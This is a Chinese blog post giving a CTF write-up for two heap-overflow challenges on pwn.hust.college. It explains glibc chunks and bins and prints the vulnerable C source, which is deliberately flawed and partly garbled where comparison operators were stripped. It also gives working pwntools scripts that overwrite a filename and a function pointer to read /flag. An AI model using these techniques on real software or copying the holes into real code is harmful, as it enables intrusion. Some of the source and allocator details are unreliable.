基础堆溢出系列

靶场:pwn.hust.college      缓冲区溢出Level 2.0-2.1

目录

堆溢出

堆内存布局

堆块结构

堆管理表(Bins)

覆盖数据变量

溢出点

利用思路

源代码

EXP

覆盖数据指针

溢出点

源代码

EXP


堆溢出

        堆溢出是指程序向堆内存中写入的数据超过了为其分配的空间,导致覆盖相邻的内存区域,发生在堆区。

注:以下部分仅作了解,学习原理,可以直接跳至解题

堆内存布局

        malloc chunk 是 glibc 内存分配器管理堆内存的基本单位。每次调用malloc 分配内存时,glibc 实际上返回的是一个 chunk 中的用户数据区域。典型glibc malloc chunk内存结构如下:

top chunk  (高地址)
...
chunk 3  (allocated)
chunk 2  (free)
chunk 1  (allocated)

堆块结构

        在 glibc 源码中,chunk 的结构通过宏和结构体定义:

struct malloc_chunk {
INTERNAL_SIZE_T      mchunk_prev_size;  /* 前一个物理块的大小(如果前一块空闲) */
INTERNAL_SIZE_T      mchunk_size;       /* 当前块的大小和标志位 */
/* 仅空闲块有以下字段 */
struct malloc_chunk* fd;                /* 指向下一个空闲块 */
struct malloc_chunk* bk;                /* 指向上一个空闲块 */
/* 仅在大空闲块时有以下字段 */
struct malloc_chunk* fd_nextsize;       /* 指向下一个不同大小的块 */
struct malloc_chunk* bk_nextsize;       /* 指向上一个不同大小的块 */
};

在 size 字段中的低3位用作标志位:

size字段: | 实际大小 |A|M|P|
#P (PREV_INUSE):1 => 前一个块已分配;0 => 前一个块空闲
#M (IS_MMAPPED):1 => 是通过mmap分配;0 =>否
#A (NON_MAIN_ARENA):1 => 属于主分配区;0 =>否

堆管理表(Bins)

        glibc使用多种bins来管理空闲块:

  • TCache:新引入,每个线程本地的空闲块缓存,多条链表,LIFO顺序,提高多线程性能。
  • Fast bins:小尺寸的空闲块,每个Bin链表,Bin块大小每级*2,LIFO顺序,一般不合并相邻空闲块;
  • Small bins:较小尺寸,每个Bin向循环链表,FIFO顺序,会合并相邻空闲块;
  • Large bins:大尺寸,每个Bin向循环链表,块按大到小排序,更复杂的查找和合并;
  • Unsorted bin:刚刚释放的块,一条Bin,向循环链表,排序乱,给块一次重新使用的机会,提高内存利用率;
  • Top chunk:堆内存中最顶端的空闲块,所有bins中都没有合适大小的空闲块时,从top chunk分割;

分配流程:

用户请求malloc()

检查TCache → 有则分配

检查Fast bins → 有则分配  

检查Small bins → 有则分配

检查Large bins → 有则分配

检查Unsorted bin → 有则分配

分割Top chunk → 分配

需要时扩展堆

覆盖数据变量

溢出点

程序关键结构体notebook,filename在content之后:

typedef struct _notebook {
char content[CONTENT_SIZE];  // 0x20 字节
char filename[FILENAME_SIZE]; // 0x10 字节
} notebook; // 总共 0x30 字节

在edit_notebook中,content读入的用户控制的大小,可以覆盖到filename:

size = read_int();  // 用户控制的大小
// 可以读取超过content大小的数据,溢出到filename
read(0, mybook->content, size);  // 堆溢出!

利用思路

  1. 创建notebook:分配一个 notebook结构体

  2. 编辑notebook:使用大于CONTENT_SIZE的size,溢出 content来覆盖filename

  3. 读取notebook:调用 read_notebook(),使用被覆盖的filename读取flag

源代码

#include
#include
#include
#include
#include
#define CONTENT_SIZE 0x20
#define FILENAME_SIZE 0x10
typedef struct _notebook {
char content[CONTENT_SIZE];
char filename[FILENAME_SIZE];
} notebook;
notebook * mybook;
void show_content();
void init()
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
}
int read_int()
{
char buf[0x10];
read(0, buf, 0x10);
return atoi(buf);
}
void read_flag(char * filename)
{
char flag[0x100];
int fd, size = 0;
if (filename == NULL) {
puts("Invalid filename");
return;
}
fd = open(filename, 0);
if (fd content, CONTENT_SIZE);
memcpy(mybook->filename, "Makefile", FILENAME_SIZE);
puts("Done!");
}
void edit_notebook()
{
int size;
if (mybook == NULL) {
puts("You don't have a notebook, create it first");
return;
}
puts("Edit your notebook");
puts("Input your notebook size:");
size = read_int();
if (size  (CONTENT_SIZE + FILENAME_SIZE)) {
puts("Invalid size, Hacker!");
return;
}
puts("Input your notebook content:");
// oob read here, the edit size can be greater than the book->contents's size
// here can overwrite to the book->filename
read(0, mybook->content, size);
puts("Done!");
}
void delete_notebook()
{
puts("Delete your notebook");
if (mybook == NULL) {
puts("You don't have a notebook, create it first");
return;
}
free(mybook);
mybook = NULL;
puts("Done!");
}
void show_notebook()
{
if (mybook == NULL) {
puts("You don't have a notebook, create it first");
return;
}
puts("Your notebook content is:");
puts(mybook->content);
}
void read_notebook()
{
if (mybook == NULL) {
puts("You don't have a notebook, create it first");
return;
}
puts("Read from notebook's filename:");
read_flag(mybook->filename);
}
void menu()
{
puts("1. Create Notebook");
puts("2. Edit   Notebook");
puts("3. Delete Notebook");
puts("4. Show   Notebook");
puts("5. Give Up And Cry");
puts("666. Read Notebook");
puts("Choice >> ");
}
void print_desc()
{
printf("###\n");
printf("### Welcome to ./buffer-overflow-level2.0!\n");
printf("###\n");
printf("\n");
printf("This challenge will directly overflow a data variable on heap to read flag\n");
}
int main()
{
int choice, flag = 1;
init();
print_desc();
puts("We have a magic notebook for you:");
while (flag) {
menu();
scanf("%d", &choice);
switch ( choice )
{
case 1:
create_notebook();
break;
case 2:
edit_notebook();
break;
case 3:
delete_notebook();
break;
case 4:
show_notebook();
break;
case 5:
flag = 0;
break;
case 666:
read_notebook();
break;
default:
puts("Invalid choice");
break;
}
}
puts("Bye bye~");
return 0;
}

EXP

1:Create Notebook

2:Edit Notebook:

size:0x20 + len("/flag") = 0x20 + 6 = 0x26

content:'A'*0x20 + '/flag\x00'

666:Read Notebook

(PS:这谁能忍住不选一把5)

from pwn import *
context(arch="amd64", os="linux", log_level="debug")
challenge_path = "/challenge/buffer-overflow-level2.0"
p = process(challenge_path)
# 步骤1: 创建notebook
p.sendlineafter("Choice >> ", "1")
p.sendafter("Input your notebook content:\n", "initial content\n")
# 步骤2: 编辑notebook并溢出
p.sendlineafter("Choice >> ", "2")
p.sendlineafter("Input your notebook size:\n", str(0x26))  # 0x20 + 6
# 构造payload: 填充content + 覆盖filename
payload = b'A' * 0x20      # 填充content区域
payload += b'/flag\x00'    # 覆盖filename为"/flag"
p.sendafter("Input your notebook content:\n", payload)
# 步骤3: 读取flag
p.sendlineafter("Choice >> ", "666")
# 接收flag
print(p.recvall().decode())
p.close()

覆盖数据指针

溢出点

程序也是创建notebook堆块,结构体如下:

typedef struct _notebook {
char name[0x10];      // 16字节
size_t size;          // 8字节
void *content;        // 8字节
void *show;           // 8字节 - 目标函数指针
} notebook;               // 总共40字节

edit_notebook()函数中向content输入的长度由用户控制:

// oob read here, the edit size can be greater than the malloc size
// here can overwrite to the next book->name
read(0, book->content, size);  // 堆溢出!

show_notebook中,读取content,等价于:show_content(book->name)

((void (*) (void *content))book->show)(book->name);

正常情况和我们应该覆盖的:

#正常情况
book->show = show_content;  // 指向show_content函数
book->name = "Try hack me!!!";
#利用后
book->show = read_flag;     // 被覆盖为read_flag函数
book->name = "/flag";       // 被覆盖为flag路径

调用:read_flag("/flag"),结果读取并显示flag文件内容,两步实现:

  • 调用程序存在的后门函数gift,功能是将book->show指向函数指针置为read_flag函数;
  • 我们需要填充堆块A的content让他覆盖到堆块B头的name,覆盖为/flag

        覆盖book->name:选择指定堆块大小24字节,直接填充'24'行不通,gdb查看了分配的内存大小(malloc参数在rdi寄存器中),结构体40B但内存对齐分配48字节,64位系统glic保证地址16字节对齐。而content显示分配24字节,实际上是16字节加下一块8字节的prev_size复用(prev_size表示前一物理块空闲时大小,该块非空闲,故下一块此字段无用,系统会复用)。

heap段,堆示意图,notebookA和B:

chunk Anotebookchunk Acontentchunk Bnotebookchunk Bcontent

Acontent-Bnotebook详细布局:

A:prev_sizeA:sizeA:content[16+8]B:sizeB:结构体

源代码

#include
#include
#include
#include
#include
typedef struct _notebook {
char name[0x10];
a
size_t size;
void *content;
void *show;
} notebook;
int gift_limit = 1;
notebook * notebooks[0x10];
void show_content(void *content);
void init()
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
}
int read_int()
{
char buf[0x10];
read(0, buf, 0x10);
return atoi(buf);
}
void read_flag(char * filename)
{
char flag[0x100];
int fd, size = 0;
if (filename == NULL) {
puts("Invalid filename");
return;
}
fd = open(filename, 0);
if (fd = 0x10) {
puts("Invalid index, Hacker!");
return;
}
puts("Input your notebook size:");
size = read_int();
if (size  0x600) {
puts("Invalid size, Hacker!");
return;
}
book = malloc(sizeof(notebook));
if (book == NULL) {
puts("malloc error");
exit(-1);
}
puts("Input your notebook content:");
book->content = malloc(size);
if (book->content == NULL) {
puts("malloc error");
exit(-1);
}
read(0, book->content, size);
memcpy(book->name, "Try hack me!!!", 0x10);
book->index = idx;
book->size = size;
book->show = show_content;
notebooks[idx] = book;
puts("Done!");
}
void edit_notebook()
{
notebook *book = NULL;
int idx, size;
puts("Input your notebook index:");
idx = read_int();
if (idx = 0x10) {
puts("Invalid index, Hacker!");
return;
}
if (notebooks[idx] == NULL) {
puts("You don't have this notebook, create it first");
return;
}
puts("Input your notebook size:");
size = read_int();
if (size  0x600) {
puts("Invalid size, Hacker!");
return;
}
puts("Input your notebook content:");
book = notebooks[idx];
// oob read here, the edit size can be greater than the malloc size
// here can overwrite to the next book->name
read(0, book->content, size);
book->size = size;
puts("Done!");
}
void delete_notebook()
{
int idx;
puts("Input your notebook index:");
idx = read_int();
if (idx = 0x10) {
puts("Invalid index, Hacker!");
return;
}
if (notebooks[idx] == NULL) {
puts("You don't have this notebook, create it first");
return;
}
free(notebooks[idx]->content);
notebooks[idx]->content = NULL;
free(notebooks[idx]);
notebooks[idx] = 0;
puts("Done!");
}
void show_content(void *content)
{
puts(content);
}
void show_notebook()
{
notebook *book = NULL;
int idx;
puts("Input your notebook index:");
idx = read_int();
if (idx = 0x10) {
puts("Invalid index, Hacker!");
return;
}
if (notebooks[idx] == NULL) {
puts("You don't have this notebook, create it first");
return;
}
book = notebooks[idx];
((void (*) (void *content))book->show)(book->name);
}
void gift()
{
notebook *book = NULL;
int idx;
if (gift_limit = 0x10) {
puts("Invalid index, Hacker!");
return;
}
if (notebooks[idx] == NULL) {
puts("You don't have this notebook, create it first");
return;
}
book = notebooks[idx];
book->show = read_flag;
gift_limit--;
}
void menu()
{
puts("1. Create Notebook");
puts("2. Edit   Notebook");
puts("3. Delete Notebook");
puts("4. Show   Notebook");
puts("5. Give Up And Cry");
puts("666. Gift");
puts("Choice >> ");
}
void print_desc()
{
printf("###\n");
printf("### Welcome to ./buffer-overflow-level2.1!\n");
printf("###\n");
printf("\n");
printf("This challenge will overflow a function pointer on heap to read flag\n");
}
int main()
{
int choice, flag = 1;
init();
print_desc();
puts("dangdang777 has a magic notebook.");
puts("how can you use it to get flag?");
while (flag) {
menu();
scanf("%d", &choice);
switch ( choice )
{
case 1:
create_notebook();
break;
case 2:
edit_notebook();
break;
case 3:
delete_notebook();
break;
case 4:
show_notebook();
break;
case 5:
flag = 0;
break;
case 666:
gift();
break;
default:
puts("Invalid choice");
break;
}
}
puts("Bye bye~");
return 0;
}

EXP

  1. 创建chunkA
  2. 创建chunkB
  3. 覆盖A的content到B的name
  4. 后门函数覆盖chunkB的book->show到read_flag
  5. chunkB:show_notebook运行read_flag("/flag")
from pwn import *
context(arch="amd64", os="linux", log_level="debug")
path = "/challenge/buffer-overflow-level2.1"
p = process(path)
p.sendline(b"1")
p.sendline(b"0")
p.sendline(b"24")
p.sendline(b"AAAAA")
p.sendline(b"1")
p.sendline(b"1")
p.sendline(b"24")
p.sendline(b"BBBBB")
payload = b'A' * 32 + b'/flag'+b'\x00'
p.sendline(b"2")
p.sendline(b"0")
p.sendline(b"40")
p.sendline(payload)
p.sendline(b"666")
p.sendline(b"1")
p.sendline(b"4")
p.sendline(b"1")
flag = p.recvline().decode()
print(flag)
p.close()

posted on 2025-09-22 11:25  lxjshuju  阅读(4)  评论(0)    收藏  举报